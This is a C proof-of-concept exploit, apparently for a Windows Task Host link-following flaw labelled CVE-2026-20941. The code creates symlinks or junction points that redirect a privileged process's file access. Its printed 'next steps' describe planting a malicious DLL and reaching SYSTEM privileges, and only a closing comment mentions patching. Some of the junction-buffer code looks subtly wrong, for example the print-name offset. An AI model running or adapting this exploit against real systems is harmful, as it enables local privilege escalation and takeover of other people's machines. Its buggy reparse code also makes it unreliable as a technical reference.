// CVE-2026-20941 PoC - Symbolic Link Exploitation for Local Privilege Escalation
// Target: Host Process for Windows Tasks
// Author: Security Researcher
#include <windows.h>
#include <stdio.h>
#include <aclapi.h>
#pragma comment(lib, "advapi32.lib")
// Function to create a symbolic link (requires SeCreateSymbolicLinkPrivilege)
BOOL CreateMaliciousSymlink(LPCWSTR lpLinkPath, LPCWSTR lpTargetPath) {
// Use CreateSymbolicLink with SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED flag
// for environments where unprivileged symlink creation is enabled
DWORD flags = SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED;
if (CreateSymbolicLinkW(lpLinkPath, lpTargetPath, flags)) {
wprintf(L"[+] Symbolic link created: %s -> %s\n", lpLinkPath, lpTargetPath);
return TRUE;
}
wprintf(L"[-] Failed to create symbolic link. Error: %d\n", GetLastError());
return FALSE;
}
// Function to create a junction point (doesn't require special privileges)
BOOL CreateJunctionPoint(LPCWSTR lpJunctionPath, LPCWSTR lpTargetPath) {
// Junction creation via reparse points
HANDLE hDevice = CreateFileW(
lpJunctionPath,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
wprintf(L"[-] Failed to create junction. Error: %d\n", GetLastError());
return FALSE;
}
// Prepare reparse buffer for junction
USHORT bufferSize = sizeof(REPARSE_MOUNTPOINT_HEADER) +
(wcslen(lpTargetPath) + 2) * sizeof(WCHAR);
char *reparseBuffer = (char*)malloc(bufferSize);
PREPARSE_DATA_BUFFER reparseData = (PREPARSE_DATA_BUFFER)reparseBuffer;
memset(reparseBuffer, 0, bufferSize);
reparseData->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
reparseData->ReparseDataLength = bufferSize - REPARSE_DATA_BUFFER_HEADER_SIZE;
// Set the substitute name
PWCHAR substituteName = reparseData->MountPointReparseBuffer.PathBuffer;
wcscpy(substituteName, L"\\??\\");
wcscat(substituteName, lpTargetPath);
reparseData->MountPointReparseBuffer.SubstituteNameOffset = 0;
reparseData->MountPointReparseBuffer.SubstituteNameLength = wcslen(substituteName) * sizeof(WCHAR);
// Set print name
PWCHAR printName = &substituteName[wcslen(substituteName) + 1];
wcscpy(printName, lpTargetPath);
reparseData->MountPointReparseBuffer.PrintNameOffset = 0;
reparseData->MountPointReparseBuffer.PrintNameLength = wcslen(printName) * sizeof(WCHAR);
DWORD bytesReturned;
BOOL result = DeviceIoControl(
hDevice,
FSCTL_SET_REPARSE_POINT,
reparseBuffer,
bufferSize,
NULL,
0,
&bytesReturned,
NULL
);
CloseHandle(hDevice);
free(reparseBuffer);
if (result) {
wprintf(L"[+] Junction point created: %s -> %s\n", lpJunctionPath, lpTargetPath);
return TRUE;
}
wprintf(L"[-] Failed to create junction. Error: %d\n", GetLastError());
return FALSE;
}
// Monitor task host process file operations (simplified)
void MonitorTaskHostOperations() {
wprintf(L"[*] Monitoring Host Process for Windows Tasks file operations...\n");
wprintf(L"[*] This requires process monitor or ETW tracing\n");
wprintf(L"[*] Look for file access to user-controlled paths\n");
}
int wmain(int argc, wchar_t* argv[]) {
wprintf(L"=================================================\n");
wprintf(L"CVE-2026-20941 PoC - Windows Task Host Link Following\n");
wprintf(L"=================================================\n\n");
if (argc < 3) {
wprintf(L"Usage: %s <link_path> <target_path> [junction|symlink]\n", argv[0]);
wprintf(L"Example: %s C:\\temp\\link C:\\Windows\\System32 junction\n", argv[0]);
return 1;
}
LPCWSTR linkPath = argv[1];
LPCWSTR targetPath = argv[2];
BOOL useJunction = (argc < 4 || wcscmp(argv[3], L"junction") == 0);
// Check if running with appropriate privileges
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_PRIVILEGES* pPrivs = NULL;
DWORD cbSize = 0;
if (GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &cbSize) || cbSize > 0) {
pPrivs = (TOKEN_PRIVILEGES*)malloc(cbSize);
if (GetTokenInformation(hToken, TokenPrivileges, pPrivs, cbSize, &cbSize)) {
wprintf(L"[*] Current privileges:\n");
for (DWORD i = 0; i < pPrivs->PrivilegeCount; i++) {
WCHAR name[256];
DWORD cchName = 256;
LookupPrivilegeNameW(NULL, &pPrivs->Privileges[i].Luid, name, &cchName);
wprintf(L" - %s\n", name);
}
}
free(pPrivs);
}
CloseHandle(hToken);
}
// Create the link/junction
BOOL success;
if (useJunction) {
success = CreateJunctionPoint(linkPath, targetPath);
} else {
success = CreateMaliciousSymlink(linkPath, targetPath);
}
if (success) {
wprintf(L"\n[+] Link created successfully!\n");
wprintf(L"[*] Next steps:\n");
wprintf(L" 1. Monitor Task Host process file access\n");
wprintf(L" 2. Place malicious DLL at target location\n");
wprintf(L" 3. Trigger task host to access the link\n");
wprintf(L" 4. Achieve SYSTEM privilege escalation\n");
}
return 0;
}
/*
Notes:
- This PoC demonstrates the symbolic link/junction creation phase only
- Full exploitation requires:
1. Identifying which file operations Task Host performs
2. Placing a malicious payload at the redirected location
3. Triggering the vulnerable code path
- Mitigation: Apply Microsoft security updates for CVE-2026-20941
*/